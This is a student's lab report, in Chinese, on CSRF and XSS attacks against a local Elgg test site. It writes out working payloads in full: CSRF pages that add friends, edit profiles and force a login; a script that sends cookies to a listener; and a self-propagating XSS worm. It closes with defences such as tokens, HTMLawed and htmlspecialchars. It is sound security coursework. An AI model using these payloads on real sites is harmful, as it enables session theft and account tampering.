信息系统安全lab3记录

跨站请求伪造(CSRF)攻击实验

任务 1**:基于** GET 请求的 CSRF 攻击

使用samy登录,发送添加好友指令,获取url。HTTP Header Live插件窗口截到如图所示的包:

image-20240619220223319

从而可知GET请求结构 http://www.csrflabelgg.com/action/friends/add?friend=id,所以我们现在 需要获取到Samy的ID号,可以通过尝试给Samy新建一个界面看到红色标注的部分45正是Samy的ID。

image-20240619221713999

在Attacker站点下创建get_csrf.html

1
sudo touch /var/www/CSRF/Attacker/get_csrf.html

写入以下内容

1
2
3
4
5
6
7
8
9
10
11
12
13
<!DOCTYPE html>  
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>CSRF_GET</title>
</head>
<body>
Alice, you're my friend now!
<img src="http://www.csrflabelgg.com/action/friends/add?friend=45"/>
</body>
</html>

Samy给Alice发一封邮件,诱导Alice点击恶意链接http://www.csrflabattacker.com/get_csrf.html

image-20240619224208937

登录Alice账号查看邮件并访问恶意网页,抓到了添加用户id为45,即Samy的Get请求包,然后查看Activity界面发现Alice添加了Samy为朋友。

image-20240619224651139

image-20240619224818367

image-20240619224859567

任务 2**:使用** POST 请求的 CSRF 攻击

还是先登录Samy账号,然后修改以下个人主页,进行POST请求的抓包,得到如下结果。

image-20240619230611400

向http://www.csrflabelgg.com/action/profile/edit,发的POST请求,提交的表单内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
__elgg_token=2G9AraT4cb7pPqONMfz3sQ
&__elgg_ts=1718837884
&name=Samy
&description=<p>A Hacker</p>
&accesslevel[description]=2
&briefdescription=Student
&accesslevel[briefdescription]=2
&location=Wuhan
&accesslevel[location]=2
&interests=Football
&accesslevel[interests]=2
&skills=python
&accesslevel[skills]=2
&contactemail=U202112149@hust.edu.cn
&accesslevel[contactemail]=2
&phone=19907121291
&accesslevel[phone]=2
&mobile=19907121291
&accesslevel[mobile]=2
&website=https://strivelee.top
&accesslevel[website]=2
&twitter=lixiang21
&accesslevel[twitter]=2
&guid=45

根据这样的请求格式,Alice guid已知为43,尝试使用POST请求进行CSRF攻击。

首先在Attacker站点下创建get_csrf.html

1
sudo touch /var/www/CSRF/Attacker/post_csrf.html

写入以下内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<!DOCTYPE html>  
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>CSRF_POST</title>
</head>
<body>
Alice, your profile has changed!
</body>

<script>
fetch('http://www.csrflabelgg.com/action/profile/edit', {
credentials: 'include',
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: new URLSearchParams({
guid:42,
description:"<p>Samy is my hero</p>",
briefdescription:"I'm Samy",
})
})

</script>
</html>

Samy给Alice发一封邮件,诱导Alice点击恶意链接http://www.csrflabattacker.com/post_csrf.html

image-20240619232506107

登录Alice账号,然后查看并点击邮件中的链接。

image-20240619232629475

可以看到About me部分修改成功,并且抓到POST请求包,与现象一致。

image-20240619232821090

image-20240620230509435

任务 3**:实现** login CSRF 攻击

首先抓取登陆的请求包,对应的请求方式为POST,url为http://www.csrflabelgg.com/action/login, 请求的表单有username和password,均为明文。

image-20240620164209052

表单数据内容如下:

1
2
3
4
__elgg_token=5ovl8du9mM-5V1rwIDhJsg
__elgg_ts=1718872774
username=Samy
password=seedsamy

首先在Attacker站点下创建get_csrf.html

1
sudo touch /var/www/CSRF/Attacker/post_csrf.html

写入以下内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<!DOCTYPE html>  
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>CSRF_Login</title>
</head>
<body>
Alice, here is a CSRF_Login attack!
</body>

<script>
// 发送POST请求
// 携带cookie
fetch('http://www.csrflabelgg.com/action/login', {
credentials: 'include',
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
// 传递参数
body: new URLSearchParams({
username:"samy",
password:"seedsamy",
persistent:true,
})
})

</script>
</html>

Samy给Alice发一封邮件,诱导Alice点击恶意链接http://www.csrflabattacker.com/login_csrf.html

image-20240620222327448

image-20240620223041289

image-20240620223149485

任务 4**:防御策略**

首先进入目录/var/www/CSRF/Elgg/vendor/elgg/elgg/engine/classes/Elgg,在 ActionService.php 文件中找到函数 gatekeeper()并注释掉 return true 语句

image-20240620231737340

3种攻击均失败:

image-20240620232609700

get请求没有令牌:

image-20240620232620176

post请求没有令牌:

image-20240620232830171

login没有令牌:

image-20240620232359807

跨站脚本攻击(XSS)实验

首先需要切换网站,切换到http://www.xsslabelgg.com这个。

使用samy登录,修改samy的profile。在其中的About me字段,先点击Edit HTML,添加如下内容:

1
<script>document.write('<img src=http://127.0.0.1:5555?c=' + escape(document.cookie) +  '>'); </script>  

image-20240621102354596

切换到Alice,并查看Samy的主页,使用nc监听5555端口nc -l 5555 -v可以查看报文信息,HTTP Header Live也行。

image-20240621102835358

image-20240621103053599

任务 2**:使用** Ajax 脚本自动发起会话劫持

使用samy登录,修改samy的profile。在其中的About me字段,先点击Edit HTML,添加如下内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<script>  
window.onload = function () {
var ts = elgg.security.token.__elgg_ts;
var token = elgg.security.token.__elgg_token;
var guid = elgg.session.user.guid;
fetch('http://www.xsslabelgg.com/action/profile/edit', {
credentials: 'include',
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: new URLSearchParams({
__elgg_ts: ts,
__elgg_token: token,
guid: guid,
briefdescription: "Samy is my hero",
})
})
}
</script>

然后,切换到使用Alice登录,从Alice的界面打开Samy的主页查看。通过HTTP Header Live插件发现,一条用来修改brief description的POST已经发出去了,达到了攻击效果。发出去的HTTP包:

image-20240621104726870

任务 3**:构造** XSS 蠕虫

使用samy登录,修改samy的profile。在其中的About me字段,先点击Edit HTML,添加如下内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<script id='worm'>  
setTimeout(() => {
var ts = elgg.security.token.__elgg_ts;
var token = elgg.security.token.__elgg_token;
var guid = elgg.session.user.guid;
fetch('http://www.xsslabelgg.com/action/profile/edit', {
credentials: 'include',
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: new URLSearchParams({
__elgg_ts: ts,
__elgg_token: token,
guid: guid,
briefdescription: "Samy is my hero",
description: "<script id='worm'>" + document.getElementById('worm').innerHTML + "<\/script>"
})
})
}, 3000)
</script>

然后,切换到使用Alice登录,从Alice的界面打开Samy的主页查看。通过HTTP Header Live插件发现,一条用来修改brief description的POST已经发出去了,达到了攻击效果。发出去的HTTP包:

image-20240621105412187

与上面不同的是,这个post报文的description字段修改成了恶意的xss脚本本身,从而造成了可传播性,修改Alice Profile的报文具体内容如下。

image-20240621110705476

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
http://www.xsslabelgg.com/action/profile/edit
Host: www.xsslabelgg.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://www.xsslabelgg.com/profile/samy
content-type: application/x-www-form-urlencoded
origin: http://www.xsslabelgg.com
Content-Length: 1136
Cookie: Elgg=jl5l97kq1k4todunjgn0ek8ft0
Connection: keep-alive
__elgg_ts=1718938378&__elgg_token=P-0B7cbe_msL5vOGF0n8AQ&guid=44&briefdescription=Samy is my hero&description=<script id='worm'>
setTimeout(() => {
var ts = elgg.security.token.__elgg_ts;
var token = elgg.security.token.__elgg_token;
var guid = elgg.session.user.guid;
fetch('http://www.xsslabelgg.com/action/profile/edit', {
credentials: 'include',
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: new URLSearchParams({
__elgg_ts: ts,
__elgg_token: token,
guid: guid,
briefdescription: "Samy is my hero",
description: "<script id='worm'>" + document.getElementById('worm').innerHTML + "<\/script>"
})
})
}, 3000)
</script>
POST: HTTP/1.1 302 Found
Date: Fri, 21 Jun 2024 02:53:01 GMT
Server: Apache/2.4.18 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: http://www.xsslabelgg.com/profile/alice
Content-Length: 0
Keep-Alive: timeout=5, max=97
Connection: Keep-Alive
Content-Type: text/html;charset=utf-8

登录Boby访问Alice的profile,同样可以获取到修改profile的POST报文且Boby的介绍也被修改成了同样的句子:

image-20240621111233972

image-20240621111431159

任务 4**:防御策略**

仅开启HTMLawed 1.9

Elgg 有默认的防御策略。虚拟机已停用并注释了相应的的防御策略。其实 Elgg Web 应用程序中原本会启用一个定制的安全插件HTMLawed,该插件会验证用户输入并删除输入中的标签。 这个特定的插件被注册到 elgg/ engine/lib/input.php 文件中的函数 filter tags 中 。比如会把这种标签转化为

从而无法执行javascript脚本。

依次转到 Account→administration(顶部菜单)→plugins(在右侧面板上),然后在下拉菜单中选择 security and spam 点击 filter。在下面找到 HTMLawed 1.8 插件。点击 Activate 来开启策略。

image-20240621120050952

再访问Samy的主页,并尝试修改发现script标签被转换为了p标签,插入的js语句格式被转换,无法执行。

image-20240621120305885

开启HTMLawed 1.9和htmlspecialchars

htmlspecialchars 函数将以下特殊字符转换为相应的 HTML 实体:

  • & 转换为 &amp;
  • < 转换为 &lt;
  • > 转换为 &gt;
  • " 转换为 &quot;
  • ' 转换为 &#039;

我们在虚拟机超级用户下进入目录/var/www/XSS/Elgg/vendor/elgg/elgg/views/default/output/,使用vim依次进入调用htmlspecialchars()函数的文件:text.php,url.php,dropdown.php,email.php。在每个文件中取消注释相应的 htmlspecialchars()函数调用。用到的指令如下:

1
2
3
4
5
6
sudo su 
cd /var/www/XSS/Elgg/vendor/elgg/elgg/views/default/output/
vim text.php
vim url.php
vim dropdown.php
vim email.php

text.php:

image-20240621121244426

url.php

image-20240621121416527

dropdown.php

image-20240621121450425

email.php

image-20240621121538048

访问Samy主页,发现一些特殊符号已经被转换为了实体符号,js语句无法执行:

image-20240621123332775